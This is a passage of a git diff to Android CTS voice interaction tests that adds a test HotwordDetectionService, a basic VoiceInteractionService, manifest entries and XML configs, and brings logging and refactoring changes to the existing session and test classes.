+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<voice-interaction-service xmlns:android="http://schemas.android.com/apk/res/android"
+    android:sessionService="android.voiceinteraction.service.MainInteractionSessionService"
+    android:recognitionService="android.voiceinteraction.service.MainRecognitionService"
+    android:hotwordDetectionService="android.voiceinteraction.service.MainHotwordDetectionService"
+    android:settingsActivity=""
+    android:supportsAssist="false"
+    android:supportsLocalInteraction="true" />
diff --git a/tests/tests/voiceinteraction/res/xml/recognition_service.xml b/tests/tests/voiceinteraction/res/xml/recognition_service.xml
new file mode 100644
index 0000000..8849a80
--- /dev/null
+++ b/tests/tests/voiceinteraction/res/xml/recognition_service.xml
@@ -0,0 +1,18 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<recognition-service xmlns:android="http://schemas.android.com/apk/res/android"
+    android:settingsActivity="" />
diff --git a/tests/tests/voiceinteraction/service/AndroidManifest.xml b/tests/tests/voiceinteraction/service/AndroidManifest.xml
index b01653c..e47d30b 100644
--- a/tests/tests/voiceinteraction/service/AndroidManifest.xml
+++ b/tests/tests/voiceinteraction/service/AndroidManifest.xml
@@ -65,6 +65,23 @@
           </intent-filter>
           <meta-data android:name="android.speech" android:resource="@xml/recognition_service" />
       </service>
+        <service android:name=".BasicVoiceInteractionService"
+            android:label="CTS test Basic voice interaction service"
+            android:permission="android.permission.BIND_VOICE_INTERACTION"
+            android:process=":interactor"
+            android:exported="true"
+            android:visibleToInstantApps="true">
+            <meta-data android:name="android.voice_interaction"
+                android:resource="@xml/interaction_service_with_hotword" />
+            <intent-filter>
+                <action android:name="android.service.voice.VoiceInteractionService" />
+            </intent-filter>
+        </service>
+        <service android:name=".MainHotwordDetectionService"
+            android:permission="android.permission.BIND_HOTWORD_DETECTION_SERVICE"
+            android:isolatedProcess="true"
+            android:exported="true">
+        </service>
     </application>
 </manifest>
 
diff --git a/tests/tests/voiceinteraction/service/res/xml/interaction_service_with_hotword.xml b/tests/tests/voiceinteraction/service/res/xml/interaction_service_with_hotword.xml
new file mode 100644
index 0000000..965ffd2
--- /dev/null
+++ b/tests/tests/voiceinteraction/service/res/xml/interaction_service_with_hotword.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<voice-interaction-service xmlns:android="http://schemas.android.com/apk/res/android"
+    android:sessionService="android.voiceinteraction.service.MainInteractionSessionService"
+    android:recognitionService="android.voiceinteraction.service.MainRecognitionService"
+    android:hotwordDetectionService="android.voiceinteraction.service.MainHotwordDetectionService"
+    android:settingsActivity="android.voiceinteraction.service.SettingsActivity"
+    android:supportsAssist="false"
+    android:supportsLocalInteraction="true" />
diff --git a/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/BasicVoiceInteractionService.java b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/BasicVoiceInteractionService.java
new file mode 100644
index 0000000..2af7e13
--- /dev/null
+++ b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/BasicVoiceInteractionService.java
@@ -0,0 +1,160 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.voiceinteraction.service;
+
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import android.content.Intent;
+import android.os.PersistableBundle;
+import android.os.SharedMemory;
+import android.service.voice.AlwaysOnHotwordDetector;
+import android.service.voice.HotwordDetectionService;
+import android.service.voice.VoiceInteractionService;
+import android.system.ErrnoException;
+import android.util.Log;
+import android.voiceinteraction.common.Utils;
+
+import java.nio.ByteBuffer;
+import java.util.Locale;
+
+/**
+ * This service included a basic HotwordDetectionService for testing.
+ */
+public class BasicVoiceInteractionService extends VoiceInteractionService {
+    // TODO: (b/182236586) Refactor the voice interaction service logic
+    static final String TAG = "BasicVoiceInteractionService";
+
+    public static String KEY_FAKE_DATA = "fakeData";
+    public static String VALUE_FAKE_DATA = "fakeData";
+    public static byte[] FAKE_BYTE_ARRAY_DATA = new byte[] {1, 2, 3};
+
+    private boolean mReady = false;
+
+    @Override
+    public void onReady() {
+        super.onReady();
+        mReady = true;
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        Log.i(TAG, "onStartCommand received");
+
+        if (intent == null || !mReady) {
+            Log.wtf(TAG, "Can't start because either intent is null or onReady() "
+                    + "is not called yet. intent = " + intent + ", mReady = " + mReady);
+            return START_NOT_STICKY;
+        }
+
+        final int testEvent = intent.getIntExtra(Utils.KEY_TEST_EVENT, -1);
+        if (testEvent == Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_TEST) {
+            runWithShellPermissionIdentity(() -> {
+                callCreateAlwaysOnHotwordDetector();
+            });
+        } else if (testEvent == Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_WITHOUT_PERMISSION_TEST) {
+            callCreateAlwaysOnHotwordDetector();
+        }
+
+        return START_NOT_STICKY;
+    }
+
+    private void callCreateAlwaysOnHotwordDetector() {
+        Log.i(TAG, "callCreateAlwaysOnHotwordDetector()");
+        try {
+            createAlwaysOnHotwordDetector(/* keyphrase */ "Hello Google",
+                    Locale.forLanguageTag("en-US"),
+                    createFakePersistableBundleData(),
+                    createFakeSharedMemoryData(),
+                    new AlwaysOnHotwordDetector.Callback() {
+                        @Override
+                        public void onAvailabilityChanged(int status) {
+                            Log.i(TAG, "onAvailabilityChanged(" + status + ")");
+                        }
+
+                        @Override
+                        public void onDetected(AlwaysOnHotwordDetector.EventPayload eventPayload) {
+                            Log.i(TAG, "onDetected");
+                        }
+
+                        @Override
+                        public void onError() {
+                            Log.i(TAG, "onError");
+                        }
+
+                        @Override
+                        public void onRecognitionPaused() {
+                            Log.i(TAG, "onRecognitionPaused");
+                        }
+
+                        @Override
+                        public void onRecognitionResumed() {
+                            Log.i(TAG, "onRecognitionResumed");
+                        }
+
+                        @Override
+                        public void onHotwordDetectionServiceInitialized(int status) {
+                            verifyHotwordDetectionServiceInitializedStatus(status);
+                        }
+                    });
+        } catch (IllegalStateException e) {
+            Log.w(TAG, "callCreateAlwaysOnHotwordDetector() exception: " + e);
+            broadcastIntentWithResult(
+                    Utils.BROADCAST_HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT,
+                    Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_ILLEGAL_STATE_EXCEPTION);
+        } catch (SecurityException e) {
+            Log.w(TAG, "callCreateAlwaysOnHotwordDetector() exception: " + e);
+            broadcastIntentWithResult(
+                    Utils.BROADCAST_HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT,
+                    Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SECURITY_EXCEPTION);
+        }
+    }
+
+    private void broadcastIntentWithResult(String intentName, int result) {
+        Intent intent = new Intent(intentName)
+                .addFlags(Intent.FLAG_RECEIVER_FOREGROUND | Intent.FLAG_RECEIVER_REGISTERED_ONLY)
+                .putExtra(Utils.KEY_TEST_RESULT, result);
+        Log.d(TAG, "broadcast intent = " + intent + ", result = " + result);
+        sendBroadcast(intent);
+    }
+
+    private SharedMemory createFakeSharedMemoryData() {
+        try {
+            SharedMemory sharedMemory = SharedMemory.create("SharedMemory", 3);
+            ByteBuffer byteBuffer = sharedMemory.mapReadWrite();
+            byteBuffer.put(FAKE_BYTE_ARRAY_DATA);
+            return sharedMemory;
+        } catch (ErrnoException e) {
+            Log.w(TAG, "createFakeSharedMemoryData ErrnoException : " + e);
+            throw new RuntimeException(e.getMessage());
+        }
+    }
+
+    private PersistableBundle createFakePersistableBundleData() {
+        // TODO : Add more data for testing
+        PersistableBundle persistableBundle = new PersistableBundle();
+        persistableBundle.putString(KEY_FAKE_DATA, VALUE_FAKE_DATA);
+        return persistableBundle;
+    }
+
+    private void verifyHotwordDetectionServiceInitializedStatus(int status) {
+        if (status == HotwordDetectionService.INITIALIZATION_STATUS_SUCCESS) {
+            broadcastIntentWithResult(
+                    Utils.BROADCAST_HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT,
+                    Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS);
+        }
+    }
+}
diff --git a/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/DirectActionsSession.java b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/DirectActionsSession.java
index d20ad80..f19e357 100644
--- a/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/DirectActionsSession.java
+++ b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/DirectActionsSession.java
@@ -23,6 +23,7 @@
 import android.os.CancellationSignal;
 import android.os.RemoteCallback;
 import android.service.voice.VoiceInteractionSession;
+import android.util.Log;
 import android.voiceinteraction.common.Utils;
 
 import androidx.annotation.NonNull;
@@ -30,7 +31,6 @@
 
 import java.util.ArrayList;
 import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
 import java.util.concurrent.locks.Condition;
 import java.util.concurrent.locks.ReentrantLock;
 import java.util.function.Consumer;
@@ -39,27 +39,33 @@
  * Sessions for testing direct action related functionality
  */
 public class DirectActionsSession extends VoiceInteractionSession {
+    private static final String TAG = DirectActionsSession.class.getSimpleName();
+
     private final ReentrantLock mLock = new ReentrantLock();
     private final Condition mCondition = mLock.newCondition();
 
     // GuardedBy("mLock")
-    private @Nullable ActivityId mActivityId;
+    private @Nullable
+    ActivityId mActivityId;
 
     // GuardedBy("mLock")
     private boolean mActionsInvalidated;
 
-    private static final int OPERATION_TIMEOUT_MS = 5000;
-
     public DirectActionsSession(@NonNull Context context) {
         super(context);
     }
 
     @Override
     public void onShow(Bundle args, int showFlags) {
+        if (args == null) {
+            Log.e("TODO", "onshow() received null args");
+            return;
+        }
         final RemoteCallback callback = args.getParcelable(Utils.DIRECT_ACTIONS_KEY_CALLBACK);
 
         final RemoteCallback control = new RemoteCallback((cmdArgs) -> {
             final String command = cmdArgs.getString(Utils.DIRECT_ACTIONS_KEY_COMMAND);
+            Log.v(TAG, "on remote callback: command=" + command);
             final RemoteCallback commandCallback = cmdArgs.getParcelable(
                     Utils.DIRECT_ACTIONS_KEY_CALLBACK);
             switch (command) {
@@ -148,6 +154,7 @@
         Utils.await(latch);
 
         outResult.putParcelableArrayList(Utils.DIRECT_ACTIONS_KEY_RESULT, actions);
+        Log.v(TAG, "getDirectActions(): " + Utils.toBundleString(outResult));
     }
 
     private void performDirectAction(@NonNull Bundle args, @NonNull Bundle outResult) {
@@ -163,6 +170,7 @@
         Utils.await(latch);
 
         outResult.putBundle(Utils.DIRECT_ACTIONS_KEY_RESULT, result);
+        Log.v(TAG, "performDirectAction(): " + Utils.toBundleString(outResult));
     }
 
     private void performDirectActionAndCancel(@NonNull Bundle args, @NonNull Bundle outResult) {
@@ -194,6 +202,7 @@
         Utils.await(cancelLatch);
 
         outResult.putBundle(Utils.DIRECT_ACTIONS_KEY_RESULT, result);
+        Log.v(TAG, "performDirectActionAndCancel(): " + Utils.toBundleString(outResult));
     }
 
     private void detectDirectActionsInvalidated(@NonNull Bundle outResult) {
@@ -203,6 +212,7 @@
                 Utils.await(mCondition);
             }
             outResult.putBoolean(Utils.DIRECT_ACTIONS_KEY_RESULT, mActionsInvalidated);
+            Log.v(TAG, "detectDirectActionsInvalidated(): " + Utils.toBundleString(outResult));
             mActionsInvalidated = false;
         } finally {
             mLock.unlock();
@@ -212,5 +222,6 @@
     private void performHide(@NonNull Bundle outResult) {
         finish();
         outResult.putBoolean(Utils.DIRECT_ACTIONS_KEY_RESULT, true);
+        Log.v(TAG, "performHide(): " + Utils.toBundleString(outResult));
     }
 }
diff --git a/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainHotwordDetectionService.java b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainHotwordDetectionService.java
new file mode 100644
index 0000000..e37ec08
--- /dev/null
+++ b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainHotwordDetectionService.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.voiceinteraction.service;
+
+import android.media.AudioFormat;
+import android.os.ParcelFileDescriptor;
+import android.os.PersistableBundle;
+import android.os.SharedMemory;
+import android.service.voice.HotwordDetectionService;
+import android.system.ErrnoException;
+import android.text.TextUtils;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import java.util.function.IntConsumer;
+
+public class MainHotwordDetectionService extends HotwordDetectionService {
+    static final String TAG = "MainHotwordDetectionService";
+
+    @Override
+    public void onDetect(
+            @NonNull ParcelFileDescriptor audioStream,
+            @NonNull AudioFormat audioFormat,
+            long timeoutMillis,
+            @NonNull Callback callback) {
+        Log.d(TAG, "onDetectFromDspSource");
+        if (callback == null) {
+            Log.w(TAG, "callback is null");
+            return;
+        }
+        callback.onDetected(null);
+    }
+
+    @Override
+    public void onUpdateState(
+            @Nullable PersistableBundle options,
+            @Nullable SharedMemory sharedMemory,
+            long callbackTimeoutMillis,
+            @Nullable IntConsumer statusCallback) {
+        Log.d(TAG, "onUpdateState");
+
+        if (options != null) {
+            String fakeData = options.getString(BasicVoiceInteractionService.KEY_FAKE_DATA);
+            if (!TextUtils.equals(fakeData, BasicVoiceInteractionService.VALUE_FAKE_DATA)) {
+                Log.d(TAG, "options : data is not the same");
+                return;
+            }
+        }
+
+        if (sharedMemory != null) {
+            try {
+                sharedMemory.mapReadWrite();
+                Log.d(TAG, "sharedMemory : is not read-only");
+                return;
+            } catch (ErrnoException e) {
+                // For read-only case
+            } finally {
+                sharedMemory.close();
+            }
+        }
+
+        // Report success
+        Log.d(TAG, "onUpdateState success");
+        if (statusCallback != null) {
+            statusCallback.accept(INITIALIZATION_STATUS_SUCCESS);
+        }
+    }
+}
diff --git a/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainInteractionService.java b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainInteractionService.java
index ccd20e5..2165854 100644
--- a/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainInteractionService.java
+++ b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainInteractionService.java
@@ -16,16 +16,20 @@
 
 package android.voiceinteraction.service;
 
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
 import android.content.ComponentName;
 import android.content.Intent;
 import android.net.Uri;
 import android.os.Bundle;
+import android.service.voice.AlwaysOnHotwordDetector;
 import android.service.voice.VoiceInteractionService;
 import android.service.voice.VoiceInteractionSession;
 import android.util.Log;
 import android.voiceinteraction.common.Utils;
 
 import java.util.Collections;
+import java.util.Locale;
 import java.util.Set;
 
 public class MainInteractionService extends VoiceInteractionService {
@@ -43,40 +47,49 @@
     public int onStartCommand(Intent intent, int flags, int startId) {
         Log.i(TAG, "onStartCommand received");
         mIntent = intent;
-        maybeStart();
+
+        if (mIntent == null || !mReady) {
+            Log.wtf(TAG, "Can't start because either intent is null or onReady() "
+                    + "is not called yet. mIntent = " + mIntent + ", mReady = " + mReady);
+            return START_NOT_STICKY;
+        }
+
+        final int testEvent = mIntent.getIntExtra(Utils.KEY_TEST_EVENT, -1);
+        if (testEvent == Utils.VOICE_INTERACTION_SERVICE_NORMAL_TEST) {
+            maybeStart();
+        } else if (testEvent == Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_TEST) {
+            runWithShellPermissionIdentity(() -> {
+                callCreateAlwaysOnHotwordDetector();
+            });
+        }
         return START_NOT_STICKY;
     }
 
     private void maybeStart() {
-        if (mIntent == null || !mReady) {
-            Log.wtf(TAG, "Can't start session because either intent is null or onReady() "
-                    + "is not called yet. mIntent = " + mIntent + ", mReady = " + mReady);
-        } else {
-            Bundle args = mIntent.getExtras();
-            final String className = (args != null)
-                    ? args.getString(Utils.DIRECT_ACTIONS_KEY_CLASS) : null;
-            if (className == null) {
-                Log.i(TAG, "Yay! about to start session with TestApp");
-                if (isActiveService(this, new ComponentName(this, getClass()))) {
-                    // Call to verify onGetSupportedVoiceActions is available.
-                    onGetSupportedVoiceActions(Collections.emptySet());
-                    args = new Bundle();
-                    Intent intent = new Intent()
-                            .setAction(Intent.ACTION_VIEW)
-                            .addCategory(Intent.CATEGORY_VOICE)
-                            .addCategory(Intent.CATEGORY_BROWSABLE)
-                            .setData(Uri.parse("https://android.voiceinteraction.testapp"
-                                    + "/TestApp"));
-                    args.putParcelable("intent", intent);
-                    Log.v(TAG, "showSession(): " + args);
-                    showSession(args, 0);
-                } else {
-                    Log.wtf(TAG, "**** Not starting MainInteractionService because" +
-                            " it is not set as the current voice interaction service");
-                }
+        Bundle args = mIntent.getExtras();
+        final String className = (args != null)
+                ? args.getString(Utils.DIRECT_ACTIONS_KEY_CLASS) : null;
+        if (className == null) {
+            Log.i(TAG, "Yay! about to start session with TestApp");
+            if (isActiveService(this, new ComponentName(this, getClass()))) {
+                // Call to verify onGetSupportedVoiceActions is available.
+                onGetSupportedVoiceActions(Collections.emptySet());
+                args = new Bundle();
+                Intent intent = new Intent()
+                        .setAction(Intent.ACTION_VIEW)
+                        .addCategory(Intent.CATEGORY_VOICE)
+                        .addCategory(Intent.CATEGORY_BROWSABLE)
+                        .setData(Uri.parse("https://android.voiceinteraction.testapp"
+                                + "/TestApp"));
+                args.putParcelable("intent", intent);
+                Log.v(TAG, "showSession(): " + args);
+                showSession(args, 0);
             } else {
-                showSession(args, VoiceInteractionSession.SHOW_WITH_ASSIST);
+                Log.wtf(TAG, "**** Not starting MainInteractionService because" +
+                        " it is not set as the current voice interaction service");
             }
+        } else {
+            showSession(args, 0);
         }
     }
 
@@ -85,4 +98,51 @@
         Log.v(TAG, "onGetSupportedVoiceActions " + voiceActions);
         return super.onGetSupportedVoiceActions(voiceActions);
     }
+
+    private void callCreateAlwaysOnHotwordDetector() {
+        Log.i(TAG, "callCreateAlwaysOnHotwordDetector()");
+        try {
+            createAlwaysOnHotwordDetector(/* keyphrase */ "Hello Google",
+                    Locale.forLanguageTag("en-US"), /* options */ null, /* sharedMemory */ null,
+                    new AlwaysOnHotwordDetector.Callback() {
+                        @Override
+                        public void onAvailabilityChanged(int status) {
+                            Log.i(TAG, "onAvailabilityChanged(" + status + ")");
+                        }
+
+                        @Override
+                        public void onDetected(AlwaysOnHotwordDetector.EventPayload eventPayload) {
+                            Log.i(TAG, "onDetected");
+                        }
+
+                        @Override
+                        public void onError() {
+                            Log.i(TAG, "onError");
+                        }
+
+                        @Override
+                        public void onRecognitionPaused() {
+                            Log.i(TAG, "onRecognitionPaused");
+                        }
+
+                        @Override
+                        public void onRecognitionResumed() {
+                            Log.i(TAG, "onRecognitionResumed");
+                        }
+                    });
+        } catch (IllegalStateException e) {
+            Log.w(TAG, "callCreateAlwaysOnHotwordDetector() exception: " + e);
+            broadcastIntentWithResult(
+                    Utils.BROADCAST_HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT,
+                    Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_ILLEGAL_STATE_EXCEPTION);
+        }
+    }
+
+    private void broadcastIntentWithResult(String intentName, int result) {
+        Intent intent = new Intent(intentName)
+                .addFlags(Intent.FLAG_RECEIVER_FOREGROUND | Intent.FLAG_RECEIVER_REGISTERED_ONLY)
+                .putExtra(Utils.KEY_TEST_RESULT, result);
+        Log.d(TAG, "broadcast intent = " + intent + ", result = " + result);
+        sendBroadcast(intent);
+    }
 }
diff --git a/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainInteractionSession.java b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainInteractionSession.java
index e53a93f..1ac387d 100644
--- a/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainInteractionSession.java
+++ b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainInteractionSession.java
@@ -64,7 +64,10 @@
 
     @Override
     public void onShow(Bundle args, int showFlags) {
-        super.onShow(args, showFlags);
+        if (args == null) {
+            Log.e(TAG, "onshow() received null args");
+            return;
+        }
         mStartIntent = args.getParcelable("intent");
         if (mStartIntent != null) {
             startVoiceActivity(mStartIntent);
diff --git a/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/VoiceInteractionMain.java b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/VoiceInteractionMain.java
index 303c0a1..37bb775 100644
--- a/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/VoiceInteractionMain.java
+++ b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/VoiceInteractionMain.java
@@ -21,6 +21,7 @@
 import android.content.Intent;
 import android.os.Bundle;
 import android.util.Log;
+import android.voiceinteraction.common.Utils;
 
 public class VoiceInteractionMain extends Activity {
     static final String TAG = "VoiceInteractionMain";
@@ -30,6 +31,7 @@
         super.onCreate(savedInstanceState);
         Intent intent = new Intent();
         intent.setComponent(new ComponentName(this, MainInteractionService.class));
+        intent.putExtra(Utils.KEY_TEST_EVENT, Utils.VOICE_INTERACTION_SERVICE_NORMAL_TEST);
         final Bundle intentExtras = getIntent().getExtras();
         if (intentExtras != null) {
             intent.putExtras(intentExtras);
diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/AbstractVoiceInteractionBasicTestCase.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/AbstractVoiceInteractionBasicTestCase.java
new file mode 100644
index 0000000..c787072
--- /dev/null
+++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/AbstractVoiceInteractionBasicTestCase.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.voiceinteraction.cts;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
+
+import android.content.Context;
+import android.provider.Settings;
+
+import com.android.compatibility.common.util.SettingsStateChangerRule;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.runner.RunWith;
+
+import androidx.test.ext.junit.rules.ActivityScenarioRule;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+/**
+ * Base class for using the VoiceInteractionService that included a basic HotwordDetectionService.
+ */
+@RunWith(AndroidJUnit4.class)
+abstract class AbstractVoiceInteractionBasicTestCase {
+    // TODO: (b/181943521) Combine the duplicated test class
+
+    protected static final int TIMEOUT_MS = 5 * 1000;
+
+    protected final Context mContext = getInstrumentation().getTargetContext();
+
+    @Rule
+    public final SettingsStateChangerRule mServiceSetterRule = new SettingsStateChangerRule(
+            mContext, Settings.Secure.VOICE_INTERACTION_SERVICE, getVoiceInteractionService());
+
+    @Rule
+    public final ActivityScenarioRule<TestVoiceInteractionServiceActivity> mActivityTestRule =
+            new ActivityScenarioRule<>(TestVoiceInteractionServiceActivity.class);
+
+    @Before
+    public void prepareDevice() throws Exception {
+        // Unlock screen.
+        runShellCommand("input keyevent KEYCODE_WAKEUP");
+
+        // Dismiss keyguard, in case it's set as "Swipe to unlock".
+        runShellCommand("wm dismiss-keyguard");
+    }
+
+    public abstract String getVoiceInteractionService();
+}
diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/AbstractVoiceInteractionTestCase.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/AbstractVoiceInteractionTestCase.java
index a5cb7d4..721c372 100644
--- a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/AbstractVoiceInteractionTestCase.java
+++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/AbstractVoiceInteractionTestCase.java
@@ -24,7 +24,6 @@
 import android.provider.Settings;
 import android.voiceinteraction.common.Utils;
 
-import com.android.compatibility.common.util.RequiredFeatureRule;
 import com.android.compatibility.common.util.SettingsStateChangerRule;
 
 import org.junit.Before;
@@ -39,16 +38,9 @@
 @RunWith(AndroidJUnit4.class)
 abstract class AbstractVoiceInteractionTestCase {
 
-    // TODO: use PackageManager's / make it @TestApi
-    protected static final String FEATURE_VOICE_RECOGNIZERS = "android.software.voice_recognizers";
-
     protected final Context mContext = getInstrumentation().getTargetContext();
 
     @Rule
-    public final RequiredFeatureRule mRequiredFeatureRule = new RequiredFeatureRule(
-            FEATURE_VOICE_RECOGNIZERS);
-
-    @Rule
     public final SettingsStateChangerRule mServiceSetterRule = new SettingsStateChangerRule(
             mContext, Settings.Secure.VOICE_INTERACTION_SERVICE, Utils.SERVICE_NAME);
 
diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/DirectActionsTest.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/DirectActionsTest.java
index 6c4a3a7..4af3b90 100644
--- a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/DirectActionsTest.java
+++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/DirectActionsTest.java
@@ -16,6 +16,8 @@
 
 package android.voiceinteraction.cts;
 
+import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
+
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
@@ -28,6 +30,9 @@
 import android.util.Log;
 import android.voiceinteraction.common.Utils;
 
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
 import com.android.compatibility.common.util.ThrowingRunnable;
 
 import org.junit.Test;
@@ -38,15 +43,13 @@
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.TimeoutException;
 
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-
 /**
  * Tests for the direction action related functions.
  */
 public class DirectActionsTest extends AbstractVoiceInteractionTestCase {
     private static final String TAG = DirectActionsTest.class.getSimpleName();
     private static final long OPERATION_TIMEOUT_MS = 5000;
+    private static final String TEST_APP_PACKAGE = "android.voiceinteraction.testapp";
 
     private final @NonNull SessionControl mSessionControl = new SessionControl();
     private final @NonNull ActivityControl mActivityControl = new ActivityControl();
@@ -253,13 +256,18 @@
                             + "/DirectActionsActivity"))
                     .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
                     .putExtra(Utils.DIRECT_ACTIONS_KEY_CALLBACK, callback);
-
-            if (!mContext.getPackageManager().isInstantApp()) {
-                intent.setPackage("android.voiceinteraction.testapp");
+            if (mContext.getPackageManager().isInstantApp()) {
+                // Override app-links domain verification.
+                runShellCommand(
+                        String.format(
+                                "pm set-app-links-user-selection --user cur --package %1$s true"
+                                        + " %1$s",
+                                TEST_APP_PACKAGE));
+            } else {
+                intent.setPackage(TEST_APP_PACKAGE);
             }
 
             Log.v(TAG, "startActivity: " + intent);
-
             mContext.startActivity(intent);
 
             if (!latch.await(OPERATION_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
@@ -313,9 +321,8 @@
             if (postActionCommand != null) {
                 try {
                     postActionCommand.run();
-                } catch (TimeoutException e) {
-                    Log.e(TAG, "action '" + action + "' timed out" );
                 } catch (Exception e) {
+                    Log.e(TAG, "action '" + action + "' failed");
                     throw e;
                 }
             }
diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceBasicTest.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceBasicTest.java
new file mode 100644
index 0000000..6fe406e
--- /dev/null
+++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceBasicTest.java
@@ -0,0 +1,88 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
